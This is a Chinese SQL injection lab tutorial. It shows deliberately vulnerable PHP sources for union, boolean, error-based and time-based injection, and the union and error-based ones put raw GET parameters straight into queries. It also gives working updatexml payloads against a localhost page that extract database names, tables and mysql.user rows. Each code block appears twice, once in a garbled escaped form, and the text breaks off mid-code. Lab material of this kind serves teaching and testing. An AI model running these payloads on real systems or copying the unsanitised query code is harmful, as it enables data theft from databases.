数据库设置:
union注入源码:
?php \n$con=mysqli_connect(\"localhost\",\"root\",\"root\");\nmysqli_select_db($con,'sql');\nif (mysqli_connect_errno())\n{\n\techo \"数据库连接出错:\".mysql_connect_error();\n}\n$id=$_GET[\"id\"];\n$result=mysqli_query($con,\"select * from users where id=$id\");\n$row=mysqli_fetch_array($result);\necho $row['username'].\":\".$row['address'];\necho \">br<?php
$con=mysqli_connect("localhost","root","root");
mysqli_select_db($con,'sql');
if (mysqli_connect_errno())
{
echo "数据库连接出错:".mysql_connect_error();
}
$id=$_GET["id"];
$result=mysqli_query($con,"select * from users where id=$id");
$row=mysqli_fetch_array($result);
echo $row['username'].":".$row['address'];
echo "
";
?>
源码分析:没有进行任何过滤,将利用GET方法获取到的参数id的值拼接到SQL语句当中使之执行。
Boolean型注入源码:
?php \n$con=mysqli_connect(\"localhost\",\"root\",\"root\",\"sql\");\nif (mysqli_connect_errno()) {\n\techo \"连接失败:\".mysqli_connect_error();\n}\n$id=$_GET[\"id\"];\nif (preg_match(\"/union|sleep|benchmark/i\", $id)) {\n\texit(\"nonono\");\n}\n$result=mysqli_query($con,\"select * from users where id=$id\");\n$row=mysqli_fetch_array($result);\nif ($row) {\n\texit(\"yes\");\n}else{\n exit(\"no\");\n}\n ?<?php
$con=mysqli_connect("localhost","root","root","sql");
if (mysqli_connect_errno()) {
echo "连接失败:".mysqli_connect_error();
}
$id=$_GET["id"];
if (preg_match("/union|sleep|benchmark/i", $id)) {
exit("nonono");
}
$result=mysqli_query($con,"select * from users where id=$id");
$row=mysqli_fetch_array($result);
if ($row) {
exit("yes");
}else{
exit("no");
}
?>
分析:(preg_match("/union|sleep|benchmark/i", $id) 在$id中所搜索是否存在union|sleep|benchmark且不区分大小写,如果存在就停止程序执行,并抛出nonono。当执行完SQL语句,结果存在,输出yes,,不存在则输出no。不会输出查询结果,只会输出yes或者no表示是否存在查询数据。
报错型注入:
?php \n$con=mysqli_connect('localhost','root','root','sql');\nif (mysqli_connect_errno()) {\n\techo \"连接失败:\".mysqli_connect_errno();\n}\n$username=$_GET['username'];\n$sql=\"select * from users where username='$username'\";\n$result=mysqli_query($con,$sql);\nif ($result) {\n\techo \"OK\";\n}else{\n\techo mysqli_error($con);\n }\n?<?php
$con=mysqli_connect('localhost','root','root','sql');
if (mysqli_connect_errno()) {
echo "连接失败:".mysqli_connect_errno();
}
$username=$_GET['username'];
$sql="select * from users where username='$username'";
$result=mysqli_query($con,$sql);
if ($result) {
echo "OK";
}else{
echo mysqli_error($con);
}
?>
分析:如果SQL语句执行出错,则会调用mysqli_error()输出报错信息,可以利用这个进行报错注入。
过程:
1,单引号发现报错,并输出了报错详情
2,使用updatexml()函数进行报错
当前用户:http://127.0.0.1/sql_updatexml.php?username=aa' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
当前数据库:http://127.0.0.1/sql_updatexml.php?username=aa' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
获取所有的库名:http://127.0.0.1/sql_updatexml.php?username=aa'
and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e),1)--+
获取指定库中的表名:http://127.0.0.1/sql_updatexml.php
?username=aa' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='mysql' limit 0,1),0x7e),1)--+
查询数据:http://127.0.0.1/sql_updatexml.php
?username=aa' and updatexml(1,concat(0x7e,(select host,user from mysql.user limit 0,1),0x7e),1)--+
时间注入源码:
?php \n$con=mysqli_connect('localhost','root','root');\nmysqli_select_db($con,'sql');\nif (mysqli_connect_errno()) {\n\techo \"连接失败:\".mysqli_connect_error();\n}\n$id=$_GET['id'];\nif (preg_match(\"/union|ordey|coushu/i\", $id)) {\n\texit(\">hmtl<>body/body<>/htmlhmtl<>body/body<>/html<?php
$con=mysqli_connect('localhost','root','root');
mysqli_select_db($con,'sql');
if (mysqli_connect_errno()) {
echo "连接失败:".mysqli_connect_error();
}
$id=$_GET['id'];
if (preg_match("/union|ordey|coushu/i", $id)) {
exit("nononono